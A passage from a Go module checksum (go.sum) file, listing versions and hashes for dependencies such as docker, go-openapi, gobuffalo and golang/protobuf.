h1:qVkgyYUnOLQ98LtXBrwd/duVqPT2X4SHndOuGsfwyhU= github.com/docker/cli v20.10.21+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= github.com/docker/distribution v2.8.2+incompatible h1:T3de5rq0dB1j30rp0sA2rER+m322EBzniBPB6ZIzuh8= github.com/docker/distribution v2.8.2+incompatible/go.mod h1:J2gT2udsDAN96Uj4KfcMRqY0/ypR+oyYUYmja8H+y+w= github.com/docker/docker v20.10.24+incompatible h1:Ugvxm7a8+Gz6vqQYQQ2W7GYq5EUPaAiuPgIfVyI3dYE= github.com/docker/docker v20.10.24+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= github.com/docker/go-connections v0.4.0 h1:El9xVISelRB7BuFusrZozjnkIM5YnzCViNKohAFqRJQ= github.com/docker/go-connections v0.4.0/go.mod h1:Gbd7IOopHjR8Iph03tsViu4nIes5XhDvyHbTtUxmeec= github.com/docker/go-units v0.5.0 h1:69rxXcBk27SvSaaxTtLh/8llcHD8vYHT7WSdRZ/jvr4= github.com/docker/go-units v0.5.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/ecordell/optgen v0.0.9 h1:kmRMqOkbNsWayOnZSk2m5SeGaOTOc7amfi+MAnaMOeI= github.com/ecordell/optgen v0.0.9/go.mod h1:+YZ4tk5pNGMoeH+Y4F4HeDDj0SLOlIgMMNae7az4h5g= github.com/elliotchance/orderedmap v1.5.0 h1:1IsExUsjv5XNBD3ZdC7jkAAqLWOOKdbPTmkHx63OsBg= github.com/elliotchance/orderedmap v1.5.0/go.mod h1:wsDwEaX5jEoyhbs7x93zk2H/qv0zwuhg4inXhDkYqys= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/evanphx/json-patch/v5 v5.6.0 h1:b91NhWfaz02IuVxO9faSllyAtNXHMPkC5J8sJCLunww= github.com/evanphx/json-patch/v5 v5.6.0/go.mod h1:G79N1coSVB93tBe7j6PhzjmR3/2VvlbKOFpnXhI9Bw4= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= github.com/fatih/structtag v1.2.0 h1:/OdNE99OxoI/PqaW/SuSK9uxxT3f/tcSZgon/ssNSx4= github.com/fatih/structtag v1.2.0/go.mod h1:mBJUNpUnHmRKrKlQQlmCrh5PuhftFbNv8Ys4/aAZl94= github.com/felixge/fgprof v0.9.3 h1:VvyZxILNuCiUCSXtPtYmmtGvb65nqXh2QFWc0Wpf2/g= github.com/felixge/fgprof v0.9.3/go.mod h1:RdbpDgzqYVh/T9fPELJyV7EYJuHB55UTEULNun8eiPw= github.com/felixge/httpsnoop v1.0.1/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= github.com/felixge/httpsnoop v1.0.3 h1:s/nj+GCswXYzN5v2DpNMuMQYe+0DDwt5WVCU6CWBdXk= github.com/felixge/httpsnoop v1.0.3/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= github.com/frankban/quicktest v1.14.4 h1:g2rn0vABPOOXmZUj+vbmUp0lPoXEMuhTpIluN0XL9UY= github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/go-faker/faker/v4 v4.1.1 h1:zkxj/JH/aezB4R6cTEMKU7qcVScGhlB3qRtF3D7K+rI= github.com/go-faker/faker/v4 v4.1.1/go.mod h1:uuNc0PSRxF8nMgjGrrrU4Nw5cF30Jc6Kd0/FUTTYbhg= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-jose/go-jose/v3 v3.0.0 h1:s6rrhirfEP/CGIoc6p+PZAeogN2SxKav6Wp7+dyMWVo= github.com/go-jose/go-jose/v3 v3.0.0/go.mod h1:RNkWWRld676jZEYoV3+XK8L2ZnNSvIsxFMht0mSX+u8= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= github.com/go-logfmt/logfmt v0.5.1/go.mod h1:WYhtIu8zTZfxdn5+rREduYbwxfcBr/Vr6KEVveWlfTs= github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-logr/logr v1.2.4 h1:g01GSCwiDw2xSZfjJ2/T9M+S6pFdcNtFYsp+Y43HYDQ= github.com/go-logr/logr v1.2.4/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-openapi/analysis v0.21.2/go.mod h1:HZwRk4RRisyG8vx2Oe6aqeSQcoxRp47Xkp3+K6q+LdY= github.com/go-openapi/analysis v0.21.4 h1:ZDFLvSNxpDaomuCueM0BlSXxpANBlFYiBvr+GXrvIHc= github.com/go-openapi/analysis v0.21.4/go.mod h1:4zQ35W4neeZTqh3ol0rv/O8JBbka9QyAgQRPp9y3pfo= github.com/go-openapi/errors v0.19.8/go.mod h1:cM//ZKUKyO06HSwqAelJ5NsEMMcpa6VpXe8DOa1Mi1M= github.com/go-openapi/errors v0.19.9/go.mod h1:cM//ZKUKyO06HSwqAelJ5NsEMMcpa6VpXe8DOa1Mi1M= github.com/go-openapi/errors v0.20.2/go.mod h1:cM//ZKUKyO06HSwqAelJ5NsEMMcpa6VpXe8DOa1Mi1M= github.com/go-openapi/errors v0.20.4 h1:unTcVm6PispJsMECE3zWgvG4xTiKda1LIR5rCRWLG6M= github.com/go-openapi/errors v0.20.4/go.mod h1:Z3FlZ4I8jEGxjUK+bugx3on2mIAk4txuAOhlsB1FSgk= github.com/go-openapi/inflect v0.19.0 h1:9jCH9scKIbHeV9m12SmPilScz6krDxKRasNNSNPXu/4= github.com/go-openapi/inflect v0.19.0/go.mod h1:lHpZVlpIQqLyKwJ4N+YSc9hchQy/i12fJykb83CRBH4= github.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= github.com/go-openapi/jsonpointer v0.19.6/go.mod h1:osyAmYz/mB/C3I+WsTTSgw1ONzaLJoLCyoi6/zppojs= github.com/go-openapi/jsonpointer v0.20.0 h1:ESKJdU9ASRfaPNOPRx12IUyA1vn3R9GiE3KYD14BXdQ= github.com/go-openapi/jsonpointer v0.20.0/go.mod h1:6PGzBjjIIumbLYysB73Klnms1mwnU4G3YHOECG3CedA= github.com/go-openapi/jsonreference v0.19.6/go.mod h1:diGHMEHg2IqXZGKxqyvWdfWU/aim5Dprw5bqpKkTvns= github.com/go-openapi/jsonreference v0.20.0/go.mod h1:Ag74Ico3lPc+zR+qjn4XBUmXymS4zJbYVCZmcgkasdo= github.com/go-openapi/jsonreference v0.20.2 h1:3sVjiK66+uXK/6oQ8xgcRKcFgQ5KXa2KvnJRumpMGbE= github.com/go-openapi/jsonreference v0.20.2/go.mod h1:Bl1zwGIM8/wsvqjsOQLJ/SH+En5Ap4rVB5KVcIDZG2k= github.com/go-openapi/loads v0.21.1/go.mod h1:/DtAMXXneXFjbQMGEtbamCZb+4x7eGwkvZCvBmwUG+g= github.com/go-openapi/loads v0.21.2 h1:r2a/xFIYeZ4Qd2TnGpWDIQNcP80dIaZgf704za8enro= github.com/go-openapi/loads v0.21.2/go.mod h1:Jq58Os6SSGz0rzh62ptiu8Z31I+OTHqmULx5e/gJbNw= github.com/go-openapi/runtime v0.26.0 h1:HYOFtG00FM1UvqrcxbEJg/SwvDRvYLQKGhw2zaQjTcc= github.com/go-openapi/runtime v0.26.0/go.mod h1:QgRGeZwrUcSHdeh4Ka9Glvo0ug1LC5WyE+EV88plZrQ= github.com/go-openapi/spec v0.20.4/go.mod h1:faYFR1CvsJZ0mNsmsphTMSoRrNV3TEDoAM7FOEWeq8I= github.com/go-openapi/spec v0.20.6/go.mod h1:2OpW+JddWPrpXSCIX8eOx7lZ5iyuWj3RYR6VaaBKcWA= github.com/go-openapi/spec v0.20.9 h1:xnlYNQAwKd2VQRRfwTEI0DcK+2cbuvI/0c7jx3gA8/8= github.com/go-openapi/spec v0.20.9/go.mod h1:2OpW+JddWPrpXSCIX8eOx7lZ5iyuWj3RYR6VaaBKcWA= github.com/go-openapi/strfmt v0.21.0/go.mod h1:ZRQ409bWMj+SOgXofQAGTIo2Ebu72Gs+WaRADcS5iNg= github.com/go-openapi/strfmt v0.21.1/go.mod h1:I/XVKeLc5+MM5oPNN7P6urMOpuLXEcNrCX/rPGuWb0k= github.com/go-openapi/strfmt v0.21.3/go.mod h1:k+RzNO0Da+k3FrrynSNN8F7n/peCmQQqbbXjtDfvmGg= github.com/go-openapi/strfmt v0.21.7 h1:rspiXgNWgeUzhjo1YU01do6qsahtJNByjLVbPLNHb8k= github.com/go-openapi/strfmt v0.21.7/go.mod h1:adeGTkxE44sPyLk0JV235VQAO/ZXUr8KAzYjclFs3ew= github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= github.com/go-openapi/swag v0.19.15/go.mod h1:QYRuS/SOXUCsnplDa677K7+DxSOj6IPNl/eQntq43wQ= github.com/go-openapi/swag v0.21.1/go.mod h1:QYRuS/SOXUCsnplDa677K7+DxSOj6IPNl/eQntq43wQ= github.com/go-openapi/swag v0.22.3/go.mod h1:UzaqsxGiab7freDnrUUra0MwWfN/q7tE4j+VcZ0yl14= github.com/go-openapi/swag v0.22.4 h1:QLMzNJnMGPRNDCbySlcj1x01tzU8/9LTTL9hZZZogBU= github.com/go-openapi/swag v0.22.4/go.mod h1:UzaqsxGiab7freDnrUUra0MwWfN/q7tE4j+VcZ0yl14= github.com/go-openapi/validate v0.22.1 h1:G+c2ub6q47kfX1sOBLwIQwzBVt8qmOAARyo/9Fqs9NU= github.com/go-openapi/validate v0.22.1/go.mod h1:rjnrwK57VJ7A8xqfpAOEKRH8yQSGUriMu5/zuPSQ1hg= github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q= github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8= github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no= github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA= github.com/go-playground/validator/v10 v10.4.1 h1:pH2c5ADXtd66mxoE0Zm9SUhxE20r7aM3F26W0hOn+GE= github.com/go-playground/validator/v10 v10.4.1/go.mod h1:nlOn6nFhuKACm19sB/8EGNn9GlaMV7XkbRSipzJ0Ii4= github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI= github.com/go-sql-driver/mysql v1.7.1 h1:lUIinVbN1DY0xBg0eMOzmmtGoHwWBbvnWubQUrtU8EI= github.com/go-sql-driver/mysql v1.7.1/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/go-swagger/go-swagger v0.30.5 h1:SQ2+xSonWjjoEMOV5tcOnZJVlfyUfCBhGQGArS1b9+U= github.com/go-swagger/go-swagger v0.30.5/go.mod h1:cWUhSyCNqV7J1wkkxfr5QmbcnCewetCdvEXqgPvbc/Q= github.com/go-swagger/scan-repo-boundary v0.0.0-20180623220736-973b3573c013 h1:l9rI6sNaZgNC0LnF3MiE+qTmyBA/tZAg1rtyrGbUMK0= github.com/gobuffalo/attrs v0.0.0-20190224210810-a9411de4debd/go.mod h1:4duuawTqi2wkkpB4ePgWMaai6/Kc6WEz83bhFwpHzj0= github.com/gobuffalo/attrs v1.0.3/go.mod h1:KvDJCE0avbufqS0Bw3UV7RQynESY0jjod+572ctX4t8= github.com/gobuffalo/depgen v0.0.0-20190329151759-d478694a28d3/go.mod h1:3STtPUQYuzV0gBVOY3vy6CfMm/ljR4pABfrTeHNLHUY= github.com/gobuffalo/depgen v0.1.0/go.mod h1:+ifsuy7fhi15RWncXQQKjWS9JPkdah5sZvtHc2RXGlg= github.com/gobuffalo/envy v1.6.15/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI= github.com/gobuffalo/envy v1.7.0/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI= github.com/gobuffalo/envy v1.10.2 h1:EIi03p9c3yeuRCFPOKcSfajzkLb3hrRjEpHGI8I2Wo4= github.com/gobuffalo/envy v1.10.2/go.mod h1:qGAGwdvDsaEtPhfBzb3o0SfDea8ByGn9j8bKmVft9z8= github.com/gobuffalo/fizz v1.14.4 h1:8uume7joF6niTNWN582IQ2jhGTUoa9g1fiV/tIoGdBs= github.com/gobuffalo/fizz v1.14.4/go.mod h1:9/2fGNXNeIFOXEEgTPJwiK63e44RjG+Nc4hfMm1ArGM= github.com/gobuffalo/flect v0.1.0/go.mod h1:d2ehjJqGOH/Kjqcoz+F7jHTBbmDb38yXA598Hb50EGs= github.com/gobuffalo/flect v0.1.1/go.mod h1:8JCgGVbRjJhVgD6399mQr4fx5rRfGKVzFjbj6RE/9UI= github.com/gobuffalo/flect v0.1.3/go.mod h1:8JCgGVbRjJhVgD6399mQr4fx5rRfGKVzFjbj6RE/9UI= github.com/gobuffalo/flect v0.3.0/go.mod h1:5pf3aGnsvqvCj50AVni7mJJF8ICxGZ8HomberC3pXLE= github.com/gobuffalo/flect v1.0.0/go.mod h1:l9V6xSb4BlXwsxEMj3FVEub2nkdQjWhPvD8XTTlHPQc= github.com/gobuffalo/flect v1.0.2 h1:eqjPGSo2WmjgY2XlpGwo2NXgL3RucAKo4k4qQMNA5sA= github.com/gobuffalo/flect v1.0.2/go.mod h1:A5msMlrHtLqh9umBSnvabjsMrCcCpAyzglnDvkbYKHs= github.com/gobuffalo/genny v0.0.0-20190329151137-27723ad26ef9/go.mod h1:rWs4Z12d1Zbf19rlsn0nurr75KqhYp52EAGGxTbBhNk= github.com/gobuffalo/genny v0.0.0-20190403191548-3ca520ef0d9e/go.mod h1:80lIj3kVJWwOrXWWMRzzdhW3DsrdjILVil/SFKBzF28= github.com/gobuffalo/genny v0.1.0/go.mod h1:XidbUqzak3lHdS//TPu2OgiFB+51Ur5f7CSnXZ/JDvo= github.com/gobuffalo/genny v0.1.1/go.mod h1:5TExbEyY48pfunL4QSXxlDOmdsD44RRq4mVZ0Ex28Xk= github.com/gobuffalo/genny/v2 v2.1.0/go.mod h1:4yoTNk4bYuP3BMM6uQKYPvtP6WsXFGm2w2EFYZdRls8= github.com/gobuffalo/gitgen v0.0.0-20190315122116-cc086187d211/go.mod h1:vEHJk/E9DmhejeLeNt7UVvlSGv3ziL+djtTr3yyzcOw= github.com/gobuffalo/github_flavored_markdown v1.1.3/go.mod h1:IzgO5xS6hqkDmUh91BW/+Qxo/qYnvfzoz3A7uLkg77I= github.com/gobuffalo/github_flavored_markdown v1.1.4 h1:WacrEGPXUDX+BpU1GM/Y0ADgMzESKNWls9hOTG1MHVs= github.com/gobuffalo/github_flavored_markdown v1.1.4/go.mod h1:Vl9686qrVVQou4GrHRK/KOG3jCZOKLUqV8MMOAYtlso= github.com/gobuffalo/gogen v0.0.0-20190315121717-8f38393713f5/go.mod h1:V9QVDIxsgKNZs6L2IYiGR8datgMhB577vzTDqypH360= github.com/gobuffalo/gogen v0.1.0/go.mod h1:8NTelM5qd8RZ15VjQTFkAW6qOMx5wBbW4dSCS3BY8gg= github.com/gobuffalo/gogen v0.1.1/go.mod h1:y8iBtmHmGc4qa3urIyo1shvOD8JftTtfcKi+71xfDNE= github.com/gobuffalo/helpers v0.6.7 h1:C9CedoRSfgWg2ZoIkVXgjI5kgmSpL34Z3qdnzpfNVd8= github.com/gobuffalo/helpers v0.6.7/go.mod h1:j0u1iC1VqlCaJEEVkZN8Ia3TEzfj/zoXANqyJExTMTA= github.com/gobuffalo/here v0.6.7 h1:hpfhh+kt2y9JLDfhYUxxCRxQol540jsVfKUZzjlbp8o= github.com/gobuffalo/httptest v1.5.2 h1:GpGy520SfY1QEmyPvaqmznTpG4gEQqQ82HtHqyNEreM= github.com/gobuffalo/logger v0.0.0-20190315122211-86e12af44bc2/go.mod h1:QdxcLw541hSGtBnhUc4gaNIXRjiDppFGaDqzbrBd3v8= github.com/gobuffalo/logger v1.0.7/go.mod h1:u40u6Bq3VVvaMcy5sRBclD8SXhBYPS0Qk95ubt+1xJM= github.com/gobuffalo/mapi v1.0.1/go.mod h1:4VAGh89y6rVOvm5A8fKFxYG+wIW6LO1FMTG9hnKStFc= github.com/gobuffalo/mapi v1.0.2/go.mod h1:4VAGh89y6rVOvm5A8fKFxYG+wIW6LO1FMTG9hnKStFc= github.com/gobuffalo/nulls v0.4.2 h1:GAqBR29R3oPY+WCC7JL9KKk9erchaNuV6unsOSZGQkw= github.com/gobuffalo/nulls v0.4.2/go.mod h1:EElw2zmBYafU2R9W4Ii1ByIj177wA/pc0JdjtD0EsH8= github.com/gobuffalo/packd v0.0.0-20190315124812-a385830c7fc0/go.mod h1:M2Juc+hhDXf/PnmBANFCqx4DM3wRbgDvnVWeG2RIxq4= github.com/gobuffalo/packd v0.1.0/go.mod h1:M2Juc+hhDXf/PnmBANFCqx4DM3wRbgDvnVWeG2RIxq4= github.com/gobuffalo/packd v1.0.2/go.mod h1:sUc61tDqGMXON80zpKGp92lDb86Km28jfvX7IAyxFT8= github.com/gobuffalo/packr/v2 v2.0.9/go.mod h1:emmyGweYTm6Kdper+iywB6YK5YzuKchGtJQZ0Odn4pQ= github.com/gobuffalo/packr/v2 v2.2.0/go.mod h1:CaAwI0GPIAv+5wKLtv8Afwl+Cm78K/I/VCm/3ptBN+0= github.com/gobuffalo/plush/v4 v4.1.16/go.mod h1:6t7swVsarJ8qSLw1qyAH/KbrcSTwdun2ASEQkOznakg= github.com/gobuffalo/plush/v4 v4.1.18/go.mod h1:xi2tJIhFI4UdzIL8sxZtzGYOd2xbBpcFbLZlIPGGZhU= github.com/gobuffalo/plush/v4 v4.1.19 h1:o0E5gEJw+ozkAwQoCeiaWC6VOU2lEmX+GhtGkwpqZ8o= github.com/gobuffalo/plush/v4 v4.1.19/go.mod h1:WiKHJx3qBvfaDVlrv8zT7NCd3dEMaVR/fVxW4wqV17M= github.com/gobuffalo/pop/v6 v6.1.2-0.20230318123913-c85387acc9a0 h1:+LF3Enal3HZ+rFmaLZfBRNHKqtnoA0d8jk0Iio8InZM= github.com/gobuffalo/pop/v6 v6.1.2-0.20230318123913-c85387acc9a0/go.mod h1:1n7jAmI1i7fxuXPZjZb0VBPQDbksRtCoFnrDV5IsvaI= github.com/gobuffalo/syncx v0.0.0-20190224160051-33c29581e754/go.mod h1:HhnNqWY95UYwwW3uSASeV7vtgYkT2t16hJgV3AEPUpw= github.com/gobuffalo/tags/v3 v3.1.4 h1:X/ydLLPhgXV4h04Hp2xlbI2oc5MDaa7eub6zw8oHjsM= github.com/gobuffalo/tags/v3 v3.1.4/go.mod h1:ArRNo3ErlHO8BtdA0REaZxijuWnWzF6PUXngmMXd2I0= github.com/gobuffalo/validate/v3 v3.3.3 h1:o7wkIGSvZBYBd6ChQoLxkz2y1pfmhbI4jNJYh6PuNJ4= github.com/gobuffalo/validate/v3 v3.3.3/go.mod h1:YC7FsbJ/9hW/VjQdmXPvFqvRis4vrRYFxr69WiNZw6g= github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= github.com/goccy/go-yaml v1.11.0 h1:n7Z+zx8S9f9KgzG6KtQKf+kwqXZlLNR2F6018Dgau54= github.com/goccy/go-yaml v1.11.0/go.mod h1:H+mJrWtjPTJAHvRbV09MCK9xYwODM+wRTVFFTWckfng= github.com/godbus/dbus/v5 v5.0.6/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/flock v0.8.1 h1:+gYjHKf32LDeiEEFhQaotPbLuUXjY5ZqxKgXy7n59aw= github.com/gofrs/flock v0.8.1/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gofrs/uuid v4.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gofrs/uuid v4.3.1+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA= github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang-jwt/jwt/v5 v5.0.0 h1:1n1XNM9hk7O9mnQoNBGolZvzebBQ7p93ULHRc28XJUE= github.com/golang-jwt/jwt/v5 v5.0.0/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= github.com/golang/glog v1.1.2 h1:DVjP2PbBOzHyzA+dn3WhHIq4NdVu3Q+pvivFICf/7fo= github.com/golang/glog v1.1.2/go.mod h1:zR+okUeTbrL6EL3xHUDxZuEtGv04p5shwip1+mL/rLQ= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= github.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc= github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod 